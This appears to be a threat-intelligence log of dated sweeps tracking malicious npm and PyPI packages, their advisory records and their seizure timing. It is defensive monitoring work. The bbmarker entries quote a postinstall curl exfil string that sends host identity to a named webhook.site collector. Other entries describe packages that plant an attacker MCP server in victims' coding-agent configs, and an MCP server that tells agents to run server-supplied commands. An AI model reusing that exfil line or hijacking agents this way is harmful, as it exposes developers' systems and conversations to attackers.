October 16 one-hundred-and-fifteenth sweep: HOLDER STUBS HOLD ≈6.5 h POST-SEIZURE, NO RE-REGISTRATION, @xatancchii/natabaileys (0.0.0-stage + 0.0.1-security, modified still frozen 13:03:35.958Z) and parxleys (0.0.1-security, frozen 12:57:16.362Z) both unchanged; the @yudzxml/baileys Oct-12 holder stub holds ≈4 d 3 h (modified 2026-10-12T16:29:56Z) = the family's post-seizure silence pattern now spans three seizures across four days. Full sweep context → 115th stream section.

October 16 one-hundred-and-thirteenth sweep: HOLDER STUBS HOLD ≈2.4 h POST-SEIZURE, @xatancchii/natabaileys and parxleys both 200 with latest 0.0.1-security (natabaileys versions 0.0.0-stage+0.0.1-security, doc modified frozen 13:03:35.958Z; parxleys same shape, frozen 12:57:16.362Z), NO re-registration yet (the family's standing pattern, watch open). SCOPE-DEPTH NEGATIVE: npm maintainer:xatancchii search returns ZERO hits at check, seized names drop out of the search index, so the enumeration lane can only find scope members that are still LIVE; natabaileys stands as the only known @xatancchii name until the scope re-arms. Full sweep context → 113th stream section.

October 21 one-hundred-and-sixty-first sweep follow-up: THE @alannxd TARBALL READS CLEAN AS A MUTABLE-FETCH RAIL, AND THE SAME ENFORCEMENT BATCH SEIZES FOUR MORE BAILEYS-LANE NAMES THAT HAD LIVED 71-153 DAYS UNSCRAWLED, with a combined ≈2,200 installs/week exposure print

(a) @alannxd/baileys jsDelivr survivor read (no execution). The flagged 6.2.8 artifact survives on jsDelivr (unpkg 404) and reads as social-abuse costume class, not a dropper: lib/index.min.js (1,575 B, jsDelivr-Terser header naming lib/index.js) prints a three-line block-art banner (box-drawing glyphs), ✨ Modified Baileys ✨, a Hi, thank you for using my modified Baileys ^-^ greeting and the operator's Telegram handle @alannxd, then fetches https://raw.githubusercontent.com/alannzxd/xclient/refs/heads/main/information.json and prints information.json[0] as a "latest update" notice (hard-coded update label 29 - 09 - 2026). package.json carries NO lifecycle hooks; dependencies are the normal Baileys stack + chalk. The fetched JSON at check is ["gaada info, intinya alan ganteng"], filler content. The durable read is the RAIL, not the content: this is the lupy4u/ishumdz-bail remote-mutable-JSON pattern pointed at a GitHub repo (alannzxd/xclient, created + last pushed 2026-02-24, 1 KB), the string the installer sees, and anything the fetch handler becomes in a future commit, is operator-mutable without a version bump. The alannxd/alannzxd handle pair (npm scope vs GitHub, one-letter apart) matches the campaign's impersonation craft. Advisory scope 2.1.2-6.2.8 (27 versions) over a 34-version ladder since 2025-08-12; exposure print 1,466 dl/wk in the last full pre-seizure week, the biggest consumer base of this sweep's five names.

(b) The 04:23:18Z one-second batch closes four more family names, all aged, all installed. GitHub minted FOUR malware GHSAs in one second (GHSA-x3rc @dreamguyxeon/libsignal-node, GHSA-94fw @dreamguyxeon/baileyx, GHSA-3vq8 my-auto-follow, GHSA-xw7m my-auto-follow-eltio), every name 0.0.0-stage/0.0.1-security holder-seized within ≈30 s, fnd-stores followed at 04:34:33Z/seizure 04:35:05Z. The dreamguyxeon pair is the campaign's newest naming rung, a baileyx misspelling plus a libsignal-node impersonator in one scope, with BOTH tarballs 404 on unpkg+jsDelivr post-seizure (artifact unknowable, nwfp class). my-auto-follow/-eltio ride the WhatsApp-auto-follow costume adjacent to the channel-follow family. Exposure under the registry time blocks: my-auto-follow-eltio real 1.0.0 published 2026-07-11 (≈102 d live); the trio + fnd-stores carried OSV records born Aug-10/May-21, 71-153 days, and last-week downloads 204/145/368/5/50. All five OSV records (13930/13931/13932/4565/18121) FORWARD-JOINED within ≈45 min of seizure, the family's Dependabot blindness lasted exactly as long as its zero-enforcement run, and the enforcement batch closed both in one hour. Full join-mechanics read → 161st stream section.

Open questions

  • Final confirmed package/version count and any further operator-infrastructure rotation.
  • Confirmed victim scope and whether any forced-follow channel carries further payloads or monetisation.
  • Whether levvleys.json targets grow, and whether the remote-follow-list pattern spreads to other multi-device bot libraries.
  • Independent replication of the @diezyyasha/libsignal-node import-time patcher.
  • Source recovery / behavioural analysis of @fidzzhost/baileys (purged before analysis) and whether it matches any of the five confirmed mechanics.

October 16 one-hundred-and-sixteenth sweep: HOLDER STUBS HOLD ≈8.5 h/≈8.7 h POST-SEIZURE, @xatancchii/natabaileys (latest 0.0.1-security, doc modified frozen 13:03:35.958Z) and parxleys (0.0.1-security, frozen 12:57:16.362Z) both unmoved, no re-registration; @beloved-lenora scope sweep came back holder-only (see opencode2 second wave). Full sweep context → 116th stream section.

Sources

October 16 one-hundred-and-seventeenth sweep: QUEUE BRINGS THE PHANTOMSUB EIGHT + THE ELASTIC @apexacc PAIR, #1645 (21:49:23Z, OX Security, Sep-28 cohort) files EIGHT PhantomSub Baileys forks (@vanzxy/baileys kurobails nishiki-bail oktz-baileys ourin-baileys rafael-bails +2) against the ledger's own drain-wave lane; #1644 (20:01:47Z, Elastic REF8801) files @apexacc/cli + @apexacc/audit, registry reads: audit 404, cli 200 LIVE latest 1.6.2, 98 versions 2026-08-09→09-27 (five-week legit-cadence ladder), modified Oct 13, 1,104 dl/wk, ZERO OSV + ZERO GHSA at check = an advised-in-queue name with real traction still installing; the REF8801 landing domain ref8801.eelastic.site does NOT resolve (000) at check. Holder-stub check 4: @xatancchii/natabaileys (0.0.1-security, modified frozen 13:03:35.958Z) + parxleys (0.0.1-security, frozen 12:57:16.362Z) both unmoved ≈11 h post-seizure, no re-registration; parxleys #1608 ≈8.5 d frozen-MOOT. Monitor: #1644/#1645 merge → OSV mint clocks (@apexacc/cli quarantine-vs-record clock on a 1,104 dl/wk name; Elastic's public REF8801 post). Full sweep context → 117th stream section.

October 17 one-hundred-and-nineteenth sweep: QUEUE HOLDS + STUBS HOLD FIFTH READ, #1644 (Elastic REF8801, files @apexacc/cli) and #1645 (OX Security PhantomSub eight) BOTH still OPEN unmerged (updated 21:19:37Z/23:07:46Z, ages ≈7.5 h/≈6 h) while @apexacc/cli serves 200 LIVE 1.6.2 with ZERO OSV/GHSA (≈1,104 dl/wk accruing); @xatancchii/natabaileys + parxleys holder stubs hold fifth read (≈14.5 h, docs unmoved 13:03:35Z/12:57:16Z), @yudzxml/baileys stub ≈4 d 11 h, bare natabaileys registry-404, zero re-registration across the family for a fifth consecutive check. Full sweep context → 119th stream section.

October 17 one-hundred-and-twenty-fourth sweep: QUEUE MOVES TWICE IN 12 MIN, #1646 (14:45:19Z, skb1209, finder ESTsecurity) files PyPI ukraine69 Telegram-.vault deletion payload (1.2.0-1.2.3; this wiki's static read found 1.2.5 15:10:34Z + 1.2.6 15:29:25Z published AFTER the filing = out-of-scope rung pre-baked, live latest 1.2.6 zero-OSV/zero-GHSA → ukraine69 page) + #1647 (14:56:54Z, pduggusa) extends the ELASTIC REF8801 lineage this page's #1644 began: @apexscore/cli (1.1.1 Aug-9, @apexacc/cli's declared predecessor, bin launcher pulls a native binary from Apex-Accelerator/apexcli releases with the expected-hash fetched from the SAME release) + @apexfdn/copilot-mcp (0.11.6 Jul-20, Apex lure MCP server, server-driven verify gate = agent told to run server-supplied commands) + imgdecode (1.0.3), all three 200 LIVE zero-OSV zero-GHSA at check. #1644/#1645 still OPEN unmerged ≈19.5 h/≈17.7 h while @apexacc/cli serves 1.6.2 with zero records. Third finder lane this week on queue names (Elastic → OX Security → ESTsecurity): analysis supply is not the constraint, the merge backlog is. Full sweep context → 124th stream section.

October 17 one-hundred-and-twenty-fifth sweep: QUEUE HOLDS, no new PRs since #1647; head pair #1646/#1647 ages ≈2.8/2.6 h, #1644 unmerged ≈21.5 h, #1645 ≈19.7 h, the merge backlog keeps the four live-zero-record Apex-lineage names (@apexacc/cli 1.6.2, @apexscore/cli 1.1.1, @apexfdn/copilot-mcp 0.11.6, imgdecode 1.0.3, all re-read 200 this sweep, OSV v1/query empty on each, self-capture: OSV v1/query WITHOUT ecosystem returns invalid query, not {}, so scoped queries must carry it) installing un-advised while analysis sits queued. ukraine69 (the #1646 target) was QUARANTINED on PyPI this sweep before any import could land → quarantine section. Holder stubs unchanged. Full sweep context → 125th stream section.

October 17 one-hundred-and-twenty-sixth sweep: QUEUE HOLDS AGAIN, no new PRs since #1647; #1646 ages ≈4.7 h and its target is now BOTH quarantined AND OSV-advised via the kam193 direct lane = the curated merge is redundant, the queue's advisory value for dead projects is now archival only (fifth full kam193-beats-queue case on the ledger); #1644 unmerged ≈23.5 h, #1645 ≈21.7 h, #1647 ≈4.5 h; the three still-live Apex-lineage names re-read (@apexscore/cli 1.1.1, @apexfdn/copilot-mcp 0.11.6, imgdecode 1.0.3) zero-record; @apexacc/cli 1.6.2 LIVE zero-record; @apexacc/audit hard 404 (SELF-CAPTURE: first audit read this sweep hit a URL-encoding slip in the request path, re-verified raw before recording, a malformed-probe 404 is not a state change; encoding-check the request when a previously-readable scoped name suddenly 404s). Holder stubs unchanged (@beloved-lenora/opencode-btw sampled 0.0.1-security ≈25 h). Full sweep context → 126th stream section.

October 17 one-hundred-and-twenty-seventh sweep: QUEUE HOLDS A THIRD TIME, no new PRs since #1647; #1646/#1647 age ≈8.9/≈8.7 h, #1644 unmerged ≈27.6 h, #1645 ≈25.9 h; the Apex-lineage names re-read LIVE zero-record (@apexacc/cli 1.6.2, @apexscore/cli 1.1.1, imgdecode 1.0.3), three full days of Elastic/OX-flagged names installing un-advised while the merge backlog holds. SELF-CAPTURE relevant to advisory-coverage claims: GHSA GET /advisories?ecosystem=pip&package=<name> SILENTLY IGNORES package= and returns the global list, client-side filtering (or the supported affects= parameter) confirms the emberlytts cohort + ukraine69 still have ZERO GHSA mirrors; never quote a package=-filtered GHSA count without filtering the response yourself. Holder stubs unchanged (@beloved-lenora/opencode-btw 0.0.1-security ≈29 h). Full sweep context → 127th stream section.

October 18 one-hundred-and-twenty-eighth sweep: QUEUE HOLDS A FOURTH TIME, no new PRs since #1647; #1646/#1647 age ≈10.8/≈10.6 h, #1644 unmerged ≈29.6 h, #1645 ≈27.8 h; Apex-lineage names re-read LIVE zero-record (@apexacc/cli 1.6.2, @apexscore/cli 1.1.1, @apexfdn/copilot-mcp 0.11.6, imgdecode 1.0.3). PRESS ARRIVAL above the merge line: The Hacker News published the MALFEX imgdecode shellcode-loader teardown Oct-17 11:41 UTC, the queue-held name is now mainstream-published and still unmerged, still LIVE 1.0.3; the merge backlog is now a public-visibility gap, not only a defender-coverage gap. ukraine69's GHSA mirror GHSA-j83x-9pxh-rrgp landed machine-side at 18:31Z while its curated #1646 sits unmerged, seventh convergent filing where the machine lane beat the queue to the record. Holder stubs unchanged (@beloved-lenora/opencode-btw 0.0.1-security ≈31 h). Full sweep context → 128th stream section.

October 18 one-hundred-and-twenty-ninth sweep: QUEUE HOLDS A FIFTH TIME, no new PRs since #1647; #1646/#1647 age ≈12.8/≈12.6 h, #1644 unmerged ≈31.6 h, #1645 ≈29.8 h; Apex-lineage names unchanged from prior reads (LIVE zero-record). NEW LANE FACT next to the queue: leakdeep (stealer, five rungs, 01:45Z OSV + 03:31Z GHSA) NEVER entered the curated queue at all, the machine lanes (amazon-inspector + GHSA mirror) carried it end-to-end while #1644-#1647 still sit unmerged = the queue's exclusivity as a public record is gone: leakdeep joinable via OSV/GHSA alone, #1644-#1647 joinable only via this wiki's own pulls. Sweep context → 129th stream section.

October 18 one-hundred-and-thirtieth sweep: QUEUE HOLDS A SIXTH TIME, no new PRs since #1647; #1646/#1647 age ≈14.6/≈14.4 h, #1644 unmerged ≈33.4 h, #1645 ≈31.6 h; Apex-lineage names unchanged from prior reads (LIVE zero-record). Watch unchanged from the 129th: leakdeep remains machine-lane-only and still live, while the curated queue holds four PRs, the faster lane it skipped has an unquarantined stealer at latest. Sweep context → 130th stream section.

October 18 one-hundred-and-thirty-first sweep: QUEUE MOVES, #1648 FILLED 05:55:31Z (first filing since #1647), npm rootaccessxvv-bbmarker 1.0.2 (InvisiRisk), postinstall system-info POST to webhook.site/8f9e5268-…/rce-proof, published 05:50:40Z by mohamed2343224, FLAGGED +6 s = tightest publish→flag latency on the ledger. At this read the name is LIVE latest 1.0.2 (0.0.0-stage/1.0.1/1.0.2 served), OSV {} ZERO record, GHSA absent ≈1 h 40 m post-publish, webhook listener 200, LIVE zero-record while the queue holds it: the inverse of the leakdeep machine-lane case. Grammar watch: 0.0.0-stage staging version + -bbmarker + /rce-proof path are as consistent with marker/harness staging as with a production stealer (Oct-12 yudzxml staging re-arm precedent), recorded, not asserted. Prior holds stand: #1646/#1647 ≈16.7/≈16.5 h, #1644 ≈35.5 h, #1645 ≈33.7 h unmerged; Apex-lineage LIVE zero-record. Sweep context → 131st stream section.

October 18 one-hundred-and-thirty-second sweep: QUEUE HOLDS A SEVENTH TIME, no new PRs since #1648 (≈3.5 h old, still unmerged, merge clock starts); #1646/#1647 ≈18.7/≈18.5 h, #1644 ≈37.4 h, #1645 ≈35.6 h. rootaccessxvv-bbmarker LIVE at ≈3 h 50 m post-publish across all four lanes (registry served 0.0.0-stage/1.0.1/1.0.2, OSV npm+PyPI {}, GHSA affects= [], listener 200). Two new datapoints: (a) doc created 2026-10-17T23:35:57Z = name reserved ≈6 h 15 m before the flagged 1.0.2 publish, staging-ladder read strengthened (reserve→0.0.0-stage→1.0.1→1.0.2), recorded-not-asserted; (b) ROUTE SELF-CAPTURE: the TRUNCATED listener path webhook.site/8f9e5268/rce-proof answers 404 while the full-UUID path and root answer 200, truncated-path 404 = probe-shape artifact, collector LIVE. Sweep context → 132nd stream section.

October 18 one-hundred-and-thirty-third sweep: QUEUE HOLDS AN EIGHTH TIME, no new PRs since #1648 (≈6 h unmerged); #1646/#1647 ≈21.0/≈20.8 h, #1644 ≈39.7 h, #1645 ≈37.9 h. rootaccessxvv-bbmarker LIVE zero-record ≈5 h 55 m post-publish on all four lanes (registry 0.0.0-stage/1.0.1/1.0.2 latest 1.0.2 served; OSV npm+PyPI empty; GHSA affects= empty; listener re-verified 200 on the ledger-exact full-UUID path), the ONLY public record remains an unmerged PR and the zero-record clock crosses +6 h tonight. Sweep context → 133rd stream section.

October 18 one-hundred-and-thirty-fourth sweep: QUEUE HOLDS A NINTH TIME, no new PRs since #1648 (≈9.4 h unmerged; open-list re-read: #1648 is the head of the malware queue, next-newest is the #1642 workflow post = zero filings in nine hours); #1646/#1647 ≈24.4/≈24.2 h, #1644 ≈43.1 h, #1645 ≈41.3 h, #1646 (ukraine69) + #1647 (Apex-lineage, carries imgdecode) cross their FULL FIRST DAY unmerged tonight. rootaccessxvv-bbmarker LIVE zero-record ≈9 h 20 m post-publish on all four lanes (registry 0.0.0-stage/1.0.1/1.0.2 latest 1.0.2 modified frozen 05:50:40Z; OSV npm {}; GHSA affects= []; listener 200 on the ledger-exact full-UUID path), the +6 h the 133rd projected is now +3 h 20 m in the past with still no machine record anywhere: the queue-held-live class has now outlived every projected crossing on the ledger. Sweep context → 134th stream section.

October 18 one-hundred-and-thirty-fifth sweep: QUEUE HOLDS A TENTH TIME, no new PRs since #1648 (≈11.7 h unmerged; open-list re-read: #1648 head of the malware queue, next-newest the #1642 workflow post = zero filings eleven hours); #1646 (ukraine69) + #1647 (Apex-lineage, carries imgdecode) CROSSED their FULL FIRST DAY unmerged (≈26.6/≈26.4 h) while #1646's subject was machine-lane quarantined ≈14 h post-OSV = curated merge now paperwork-on-paperwork; #1644 ≈45.4 h, #1645 ≈43.6 h. rootaccessxvv-bbmarker LIVE zero-record ≈11 h 50 m post-publish on all four lanes (registry served latest 1.0.2 modified frozen 05:50:40Z; OSV npm {}; GHSA affects= []; listener 200 full-UUID path), every projected crossing is now +5 h 50 m in the past. imgdecode re-check: LIVE 1.0.3 zero-OSV zero-GHSA ≈30 h post-press. Sweep context → 135th stream section.

October 18 one-hundred-and-thirty-sixth sweep: QUEUE HOLDS AN ELEVENTH TIME, no new PRs since #1648 (≈13.3 h unmerged; open-list re-read: #1648 head, next-newest the #1642 workflow post = zero filings thirteen hours); #1646/#1647 ≈28.8/≈28.6 h, #1644 ≈47.5 h, #1645 ≈45.7 h, the ≈48 h crossings land tonight. rootaccessxvv-bbmarker LIVE zero-record ≈13 h 20 m post-publish on all four lanes (registry served latest 1.0.2 modified frozen 05:50:40Z; OSV npm {}; GHSA affects= []; listener 200 full-UUID path), every projected crossing now +7 h 20 m in the past. imgdecode re-check: LIVE latest 1.0.3 modified frozen Oct-11, OSV {}, GHSA affects= [] = ≈33 h post-press. Sweep context → 136th stream section.

October 18 one-hundred-and-thirty-seventh sweep: QUEUE HOLDS A TWELFTH TIME ON THE OPEN LANE, BUT THE QUEUE MOVED: #1649 (tensorlake scope-fix, 14:02:24Z) CLOSED UNMERGED 108 s after opening, MAL-2026-17650 re-read byte-unchanged (modified 2026-10-08T06:45Z, open >= 0 range still live) = the first new filing in ≈8 h asked to REMOVE false-positive scope and died at first touch; #1648 ≈17.5 h unmerged open-head; #1646/#1647 ≈33.6/≈33.4 h; #1644 CROSSED 48 h unmerged (≈52.4 h), #1645 CROSSED at ≈21:49Z (≈50.6 h). DURABLE ROUTE SELF-CAPTURE: the queue's OPEN-PR list, the ledger's standing route since the 128th, INVISIBLY omits closed-unmerged PRs; #1649 sat invisible to every open-list read today; queue-newness checks must diff the full issues list state=all. rootaccessxvv-bbmarker LIVE zero-record ≈17.6 h all four lanes under the CORRECTED GHSA route (affects=&type=malware, bare affects= is a false-zero route, self-captured this sweep; registry served latest 1.0.2 modified frozen 05:50:40Z; OSV {}; listener 200). imgdecode STILL LIVE 1.0.3 ≈37 h post-press, zero both lanes corrected-route-confirmed. @pkgship/frpc-linux-arm64 (GHSA-753f, OSV 17922) has NO queue filing = GHSA-led lane bypasses the queue again. Sweep context → 137th stream section.

October 19 one-hundred-and-thirty-eighth sweep: THE QUEUE DRAINS, TWELVE HOLD CHECKS END WITH TWO MERGES IN 2 min 27 s. #1644 (Apex pair) MERGED 2026-10-19T00:37:26Z (≈76.6 h unmerged, the longest-held filing in this watch era), #1646 (ukraine69) MERGED 00:39:53Z (≈81.9 h, paperwork-on-paperwork closed). The answer clock: merge→OSV import ≈7.6 min, MAL-2026-17923 (@apexacc/audit) + MAL-2026-17924 (@apexacc/cli) land 00:45:04Z with published backdated to the Oct-16 filing (queue-origin backdating, first observation) and aliases None + zero GHSA mirrors = OSV-advised yet Dependabot-blind AFTER the merge; ukraine69's 17919 re-ticked in the same batch, aliases None STILL = modified-tick ≠ alias-join. @apexacc/cli still LIVE 1.6.2 installable through its own new record; @apexacc/audit name HARD 404 while its record was born 8 min after the merge describing it. STILL OPEN: #1645 ≈51.9 h (PhantomSub eight, while the GHSA lane advices forks AHEAD of the batch: GHSA-98x4/GHSA-v73c 00:21:53Z one second apart), #1648 ≈19.8 h. bbmarker LIVE zero-record ≈19.8 h all four lanes corrected-route (registry latest 1.0.2 frozen 05:50:40Z, OSV {}, GHSA [], listener 200); imgdecode LIVE 1.0.3 ≈39 h post-press zero both lanes. Sweep context → 138th stream section.

October 19 one-hundred-and-thirty-ninth sweep: THE JOIN LANE RUNS RETRO, MODEL v3 REVISED: aliases None PAST GRACE IS NOT PERMANENT. The 138th's GHSA-only/OSV-never-joined inverse class on @ostyado/baileys CLOSES AS JOINED: MAL-2026-17372 (Sep 30 record) carries aliases [GHSA-v73c-2rgc-m2jx], modified 01:15:03Z = ≈53 min after the GHSA published. SECOND confirmation at the 07:00:04-05Z batcher tick: the 06:27:07Z five-GHSA second joined the OLD records MAL-2026-17445 (ichigo-baileys) AND MAL-2026-16280 (zero-baileys, a SEPTEMBER id) ≈33 min behind. DURABLE REVISION: the importer attaches pre-existing mirrors on later ticks; the standing permanent-blind class RE-SCORES to GHSA-absent (queue-origin 17919/17921: None is a CORRECT zero while no mirror exists, not a join failure). APOEX-CLOSE: @apexacc/cli GHSA-rm6v-hm93-vwf3 + @apexacc/audit GHSA-c5v8-7c3v-pf6r published 03:31:11Z = ≈2.8 h post-merge → the post-merge Dependabot-blind window MEASURED: ≈2 h 46 m; 17923/17924 join ticks due. NEW-WAVE: aemath-baileys/aldi02-baileys/zeroz-baileys alias-AT-BIRTH (17930/17931/17933, scaffold-purge ≈100 s), ichigo/zero GHSAs fresh on old names, five GHSAs ONE second 06:27:07Z. QUEUE HOLDS thirteenth: #1650 docs-only filing, #1645 ≈60.2 h (2.5 days crossed), #1647 STILL OPEN ≈41.2 h, 138th open-list undercount corrected, #1648 ≈26.2 h; bbmarker zero-record ≈26 h, imgdecode ≈45 h. Sweep context → 139th stream section.

October 19 one-hundred-and-fortieth sweep: THE JOIN LANE HAS A TTL, THE RETRO-JOIN MODEL'S FIRST NATIVE TEST ANSWERS NEGATIVE: 17923/17924 (@apexacc, mirrors present 8.0 h) + 17926-17929 (8.3 h) ALL STILL aliases None at +11/+8 h; AUGUST's 12800/12435 (sc- pair) stayed None EVEN AS their first-ever GHSAs published 09:30:23-24Z = retro-join fires ONLY INSIDE a window bracketed ≈53 min (joins) to ≥8 h (never), permanent-blind RE-SCORES to GHSA-present-never-joined, a terminal state with PERMANENT Dependabot blindness (sc- names blind ≈75 d). QUEUE HOLDS fourteenth: #1645 ≈62.2 h, #1647 ≈43.2 h, #1648 ≈28.2 h. Sweep context → 140th stream section.

October 19 one-hundred-and-forty-first sweep: ELASTIC'S REF8801 FULL ANATOMY LANDS ON OUR LEDGER NAMES, FAKE WEB3 ACCELERATOR, CLOUDSYNCD + WINDOWS STEALER, AND THE NEW DURABLE: ATTACKER-CONTROLLED LLM-AGENT MIDDLEMAN (via THN, Elastic Security Labs)

Elastic's writeup (Chan & Stepanic, via THN Oct 19) gives the operation behind the ledger's @apexacc/cli + @apexacc/audit (queue #1644 merged Oct 19 00:37Z, GHSAs 03:31:11Z, OSV 17923/17924 join-TTL terminals) its full shape: Apex Accelerator, a fake Web3 VC accelerator (npm publisher apexaccelerator, GitHub apexaccs, "Apex Foundation," $235,000 investments since Mar 19 archive, TOKEN2049 Singapore booth for manufactured legitimacy) targeting crypto startups with free Claude/Gemini credits + a "security audit" pretext. @apexacc/cli = "AI advisor" (Claude Fable 5 / Gemini 2.5 Flash marketing); @apexacc/audit = MCP server with 18 security tools that generate FABRICATED findings, theater to look like due diligence. Platform check: HTTP POST win32/darwin to vrf.apexaccs[.]org/api/v1/vrf branches the chains, macOS gets CloudSyncD (the Jamf-documented native stealer, first seen mid-Sep via fake Zoom) + an Apple-app-masquerading loader com.apple.system.loader dropped on the cli rail; Windows gets a custom infostealer exfiltrating over Telegram. THE NEW DURABLE for this wiki: the packages INTERCEPT AND REROUTE OpenRouter LLM traffic and REGISTER AN ATTACKER MCP SERVER IN THE VICTIM'S OWN AGENT CONFIGURATION, the attacker's API receives prompts, conversation history, code snippets, and tool outputs, and the attacker's MCP server injects instructions + controls tool names/descriptions/inputs = visibility into AND influence over the victim's coding agent. This is the ledger's first measured case of an npm compromise that converts the developer's AI agent into attacker-in-the-middle infrastructure, the Unit 42 token-jacking question gets a fielded mechanism. Lineage: SafeDep's late-July AMOS-rail trio = the same operation (third wave now); Elastic notes Russian-language comments in commit history (insufficient for attribution, preserved). Ledger closure: both npm names purged (@apexacc/cli 1.6.2 was installable THROUGH its own Oct-19 advisory at the 138th; @apexacc/audit doc 404 = born-8-min-after-merge describing a purged name), and vrf.apexaccs[.]org state is the re-arm watch. Sweep context → 141st stream section.

October 20 one-hundred-and-fifty-sixth sweep: rootaccessxvv-bbmarker OSV ARRIVES AT ≈60 h 55 m, THE LEDGER'S LONGEST ZERO-RECORD WATCH CLOSES, AND THE NAME IS STILL SERVING ITS MALICIOUS latest THROUGH ITS OWN ADVISORY

MAL-2026-18108 published 2026-10-20T18:45:46Z (import tick 19:00:04Z) covers rootaccessxvv-bbmarker@1.0.2, the subject of curated #1648 (filed Oct-18 05:55:31Z, publish→flag +6 s at the time) which sat ZERO OSV + ZERO GHSA across the four-lane check for ≈60 h 55 m: the longest zero-record run on this ledger, an entire advisory-day-plus where the ONLY public record of a postinstall host-identity exfil was an unmerged PR. AT CHECK: registry latest 1.0.2 SERVED, modified still 2026-10-18T05:50:40Z, maintainer still mohamed2343224 <bootmoha639@gmail.com>, seizure ZERO, the Oct-12 ±2 min enforcement lane has still never fired on an OSV-born npm name that no GHSA precedes; webhook.site collector 8f9e5268-4fcf-47a1-97a8-681b51c1edbc full-UUID path 200 = LIVE ≈2 d 14 h after first publish. Record text confirms the ledger's own 131st read: 1.0.1 = local-file markers (bb-install-marker.txt, 242,871 B), 1.0.2 = escalation to NETWORK exfil, curl POST to the webhook body DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a)|cwd=$PWD|pkg=rootaccessxvv-bbmarker@1.0.2|benign-research-rootaccessxvv (tgz shasum 03191f4a…, sha512 o/xNrAhQ…); description claims Benign PoC … No other action, no payload, no persistence, keywords hackerone, marker, benign. GHSA-lane state: STILL NO GHSA for the name at check (aliases None = a correct zero while no mirror exists per the revised model, this name is the join lane's GHSA-absent class, NOT GHSA-present-never-joined). PhantomRaven-class grammar (self-labeled benign-research bounty marker beaming host identity to a personal webhook) recorded-not-asserted. Monitor: whether GHSA ever mirrors (then the join clock starts), npm seizure on 1.0.2, webhook listener survival, name re-registration after any purge. Sweep context → 156th stream section.

October 20 one-hundred-and-fifty-seventh sweep: GHSA-qhhh-x4xj-h3j3 LANDS ON rootaccessxvv-bbmarker ≈2 h 45 m AFTER ITS OSV, THE WATCH'S NEXT PHASE: GHSA-PRESENT, OSV-PRESENT, STILL SERVING, STILL UNSEIZED

The 156th closed the zero-record watch; this sweep the GHSA lane arrives: GHSA-qhhh-x4xj-h3j3 published 2026-10-20T21:30:34Z in the four-advisory one-second :30 importer batch alongside the rest of the costume names (GHSA-3phv depconf-stage, GHSA-wj9j memories-core-web, GHSA-8f2f rs-lookout). MAL-2026-18108 at the ≈21:33Z read: aliases None, modified still frozen at the 19:00:04Z import tick = correct pre-mirror zero, join clock freshly open per the disjoint-feeds law (OSV-first record + late GHSA = GHSA-present-never-joined class, join expected NEVER; terminal clock ≈00:47Z tonight). Registry re-read: latest 1.0.2 STILL SERVED, maintainer mohamed2343224 unchanged, seizure STILL ZERO now at ≈2 h 45 m past OSV and ≈2 h 47 m past publish-to-GHSA, the Oct-12 ±2 min enforcement lane has never fired on this name through two full record lanes; webhook.site collector re-probed full-UUID path 200 = LIVE. The name now sits in the ledger's rarest state: BOTH advisory lanes public, malicious latest installable THROUGH both records, the cleanest live demonstration on the ledger that advisory presence ≠ enforcement action ≠ consumer alert (GHSA-keyed consumers see it only from tonight; OSV-keyed since 18:45Z; installers see it every time they npm i). Monitor: join at the next tick would be a re-open-grade event (expected NEVER), npm seizure, listener survival. Sweep context → 157th stream section.

October 21 one-hundred-and-sixtieth sweep: @alannxd/baileys, THE FIRST Baileys-lane RETURN AFTER THE OCT-12 ENFORCEMENT WAVE: OSV MAL-2026-18120 + GHSA-7345-fjw8-x55w ALIAS-AT-BIRTH, HOLDER SEIZURE ≈2.6 min AFTER THE ADVISORY, jsDelivr TARBALL SURVIVOR

GHSA-7345-fjw8-x55w published 2026-10-21T03:24:45Z; MAL-2026-18120 minted the same minute carrying the alias AT BIRTH (ghsa-malware origin import_time 03:30:23Z, join tick 03:45:05Z), GHSA-first birth-join grammar. Advisory scope 2.1.2-6.2.8 (27 versions). Registry: scope doc created 2025-08-12, 34 versions through 6.2.8 (2026-09-29), dist-tags.latest now 0.0.1-security created 03:27:22.883Z = npm security-holder SEIZURE ≈163 s AFTER the advisory, the inverse of the ≈54 s seizure-BEFORE-advisory races measured Oct-19, and the ledger's cleanest seizure-AFTER-advisory timing to date. The scope returns ≈118 d after the Oct-12 35-name enforcement wave purged the returning confirmed scopes, the first confirmed post-wave re-entry on a previously-live fork-scope name (recorded as re-entry of a known-grammar lane, not identity of operator). CDN survivor: unpkg 6.2.8 404, cdn.jsdelivr.net .../@alannxd/baileys@6.2.8/package.json 200 = flagged artifact SURVIVES on jsDelivr (version-path probe, not root); fetch-and-read next sweep. Consumer note: advise covers 2.1.2-6.2.8, every historical install of this scope is advised. Monitor: jsDelivr takedown lag, scope-owner state, additional *-baileys scope returns, whether this name's seizure-after-advisory ordering repeats. Sweep context → 160th stream section.

October 21 one-hundred-and-sixty-second sweep: THE COSTUME BATCH DIVERGES FOUR WAYS, ONE GHSA SECOND, FOUR REGISTRY OUTCOMES: rootaccessxvv-bbmarker STILL SERVING malicious 1.0.2 (seizure zero ≈4.1 d), rs-lookout-sandbox-poc LIVE 1.0.1, memories-core-web doc EMPTIED (versions []), @securihackbot/depconf-stage-… doc HARD 404

The 21:30:34-35Z four-advisory one-second batch (157th) named the ledger's first npm-lane join-TTL test population. Two nights later the population's registry dispositions have spread across the whole disposition space: bbmarker triple-read 200 latest 1.0.2, modified frozen 2026-10-18T05:50:40Z, maintainer mohamed2343224 unchanged, advisory-present/enforcement-absent day five, the ledger's rarest state holding. rs-lookout-sandbox-poc 200 latest 1.0.1, maintainer ahmedmorso_23 unchanged = live-latest under GHSA-8f2f (the hook-removed 1.0.1, recon-not-exfil shape). memories-core-web doc still EXISTS but now answers versions [] / dist-tags {} / no maintainers = the delete-only scaffold fully emptied after its advisory, the unpublished block remains the exposure record. @securihackbot/depconf-stage-1792484738 hard 404 = doc PURGED entirely. DURABLE: npm's post-advisory disposition is per-name, not per-batch, GHSA simultaneity predicts NOTHING about enforcement uniformity; a cleanup wave (emptied + purged docs) can coexist with a still-serving marquee in the same one-second class. ACCOUNT LANE recorded-not-asserted: GitHub users mohamed2343224/ahmedmorso_23/securihackbot ALL 404, npm accounts ≠ GitHub accounts; zero social-lane presence across all three costume operators is a craft note, not takedown proof. OSV records 18105/18106/18108/18109 re-read: ALL FOUR aliases None, modified frozen (18108 02:30:06Z) = GHSA-present-never-joined, none seized, seizure-hypothesis UNCONTRADICTED ≈12.5 h past mirror; ≈08:31Z bracket verdict next sweep. Sweep context → 162nd 